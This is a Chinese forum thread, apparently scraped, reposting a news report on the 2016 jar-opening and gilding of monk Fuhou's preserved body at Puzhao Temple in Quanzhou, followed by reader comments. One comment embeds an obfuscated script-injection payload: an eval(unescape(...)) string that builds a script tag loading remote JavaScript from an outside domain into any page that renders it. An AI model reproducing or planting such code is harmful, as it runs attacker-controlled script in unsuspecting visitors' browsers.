超级军网老和尚坐缸3年肉身不腐 开缸塑金身
来源：百度文库 编辑：超级军网 时间：2024/04/27 20:20:46
2016年1月10日上午，福建省泉州晋江紫帽山上的普照寺比平常更加祥和，成百上千名信众聚集在这里，诵念佛号，让寺庙充满安宁之感。在闽南，有许多佛教的信众，今天这个仪式，也是表达了信众对有德高僧的尊敬之情。
http://slide.news.sina.com.cn/s/slide_1_2841_93987.html#p=1
2016年1月10日上午，福建省泉州晋江紫帽山上的普照寺比平常更加祥和，成百上千名信众聚集在这里，诵念佛号，让寺庙充满安宁之感。在闽南，有许多佛教的信众，今天这个仪式，也是表达了信众对有德高僧的尊敬之情。
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泉州紫帽山普照寺住持振宇师父，在文革期间，因为政治的原因，很多出家人都回家了，在崇福寺里面，他是唯一没有回去的。在我们这些晚辈见到的老和尚，他就是自己默默修行，平常都不讲话的这么一个老和尚。
所谓“开缸”，指的是佛教中的僧人圆寂后举行的一种仪式，包括坐缸、封缸、开缸三个主要环节。在普照寺中圆寂并坐缸的这位老和尚法号福厚，1919年生于晋江青阳，13岁时由泉州崇福寺的妙月和尚剃度出家，从此开始了长达81年的修行。
福厚老和尚是泉州崇福寺的首座，也担任过紫帽山普照寺的监院。他修行虔诚，日常缄默无言，心中默持佛号，后辈称之为“密行尊者”。2012年，福厚老和尚以94岁高龄圆寂，出于尊敬，普照寺决定以“坐缸”之礼来收敛他的遗体，福厚老和尚以盘腿坐姿被封入缸中。
三年半之后开缸，福厚老和尚体态依然，眉毛、胡须隐隐可见。 在佛教文化当中，只有获得广泛肯定和赞扬的僧人，才有资格在圆寂之后被镀以金身，成为肉身菩萨受人膜拜。普照寺此举，也显示了福厚老和尚在后辈僧人和信众心里的地位。
佛教对“肉身不坏”之追求，最早源于释迦牟尼佛。后世僧人选择“坐缸”，主要也就是为了成就所谓的“肉身不坏”，我国历朝历代的文献也多有记载。高僧坐缸尸身不腐，后辈僧人和信众会为他铸上金身，当做肉身菩萨来供奉。
直到现在，我国多地仍有肉身菩萨的金身塑像存在。国内最为出名的是佛教四大名山之一九华山上的肉身菩萨，有据可查的就达14尊，现在能看到的还有5尊。（责任编辑：张越 SN223）
长知识了啊，之前都不知道的http://www.coolool.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'
我忽然在想，这算不算违反火葬规定呢？
阿弥陀佛，罪过罪过！
阿弥陀佛，罪过罪过！
以前在一庙照了一个大和尚，回来冲洗照片，发觉啥也没有。不知冲洗店的问题还是光线问题，或者当时的环境？
一些事儿 发表于 2016-1-11 15:28
以前在一庙照了一个大和尚，回来冲洗照片，发觉啥也没有。不知冲洗店的问题还是光线问题，或者当时的环境？
我也遇到过，胶卷上一片白。我觉得是光圈速度没调好。
以前在一庙照了一个大和尚，回来冲洗照片，发觉啥也没有。不知冲洗店的问题还是光线问题，或者当时的环境？
我也遇到过，胶卷上一片白。我觉得是光圈速度没调好。
不会成为致病传染源么？